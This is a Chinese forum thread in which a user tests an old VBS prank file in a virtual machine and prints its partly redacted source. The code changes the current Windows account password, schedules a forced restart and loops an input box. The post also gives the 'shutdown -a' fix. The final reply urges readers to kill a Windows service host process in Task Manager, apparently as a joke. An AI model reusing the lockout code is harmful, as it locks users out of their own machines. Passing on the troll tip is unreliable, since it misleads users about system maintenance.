今天打开QQ微云的时候发现了一个vbs文件,好久之前的事情了我都没印象了
好奇心的趋势下我就点开了,上来给我来了个30分钟后的强制关机,任务管理器也无法结束进程
不过时间这么长够也我去百度查找解决方法了,方法如下
win键+R 打开进程输入 “shutdown -a” 即可取消
但我没有,我还提前关机了
为什么?
巧了么这不是,我用的是模拟机
重新开机之后还真给我设置密码了
忘记截图了。。。等会,我再去点一下!

好了又点了一遍
大家可以看看,这就是这个程序弹出的两个弹窗
一个是强制关机进程,另一个是关不掉只能点确定的进程
win键+R 打开进程输入 “shutdown -a” 我取消掉强制关机
打开用户账号管理界面好家伙已经给我设置上密码了
用快照回到了没点击之前
这个是没有密码的
代码已做部分修改,无法再进行坑人使用哦
内容中的不适也已修改
复制代码
好奇心的趋势下我就点开了,上来给我来了个30分钟后的强制关机,任务管理器也无法结束进程
不过时间这么长够也我去百度查找解决方法了,方法如下
win键+R 打开进程输入 “shutdown -a” 即可取消
但我没有,我还提前关机了
为什么?
巧了么这不是,我用的是模拟机
重新开机之后还真给我设置密码了
忘记截图了。。。等会,我再去点一下!

好了又点了一遍
大家可以看看,这就是这个程序弹出的两个弹窗
一个是强制关机进程,另一个是关不掉只能点确定的进程
win键+R 打开进程输入 “shutdown -a” 我取消掉强制关机
打开用户账号管理界面好家伙已经给我设置上密码了
用快照回到了没点击之前
这个是没有密码的
代码已做部分修改,无法再进行坑人使用哦
内容中的不适也已修改
- Const strPassword = "内容已和谐"
- Dim Wshnetwork
- Set Wshnetwork = CreateObject("WScript.Network")
- Dim username
- username = WshNetwork.userName&",user"
- Dim Domain
- St Domain = GetObject("WinNT://./"&userName)
- Domain.SetPassword strPassword
- Domain.SetInfo
- dim gj
- on error resume next
- dim WSHshellA
- st WSHshellA = wscript.createobject("wscript.shell")
- WSHshellA.run "cmd.exe /c shutdown -r -t 2000 -c ""内容已和谐"" ",0 ,true
- dim a
- do while(a <> "http://www.2345.com/?kdh86")
- b = inputbox ("内容已和谐",8000,7000)
用记事本就可以看到源代码。在没有语法错误的前提下,直接双击左键就可以运行。
所以在打开VBS之前要确保VBS的安全性和渠道的可信性。
任何一种文本编辑器都可以用来开发VBS, 记事本是windows系统自带的,无需专门下载安装,更方便快捷。啊这,权限可以这么大的吗
我以为我在逛csdn
还好我没被坑过
这是很老的程序了吧
壁纸52pojie好评
话说这种东西。。。pe一般不都是带密码破解功能的吗
话说这种东西。。。pe一般不都是带密码破解功能的吗
问题不大,进pe有密码爆破器可硬解
我电脑都没中过毒 就被瑞星和卡巴斯基搞过2次
这图片真有年代感
这个QQ号封了吗
∛243 发表于 2021-3-22 00:38
啊这,权限可以这么大的吗
是个文件,你自己点开,就是你本人以管理员权限运行的
希铁石 发表于 2021-3-22 00:59
壁纸52pojie好评
话说这种东西。。。pe一般不都是带密码破解功能的吗
模拟器壁纸
wine毛毛 发表于 2021-3-22 01:06
问题不大,进pe有密码爆破器可硬解
嗯,现在百度搜索一下就可以解决了,以前还得搬着台式主机去店里,
被整过,但那时还小,不知道咋搞掉
找到”任务管理器“,划到最下面,把”服务主机:无网络“结束任务。相信我,你会谢谢我的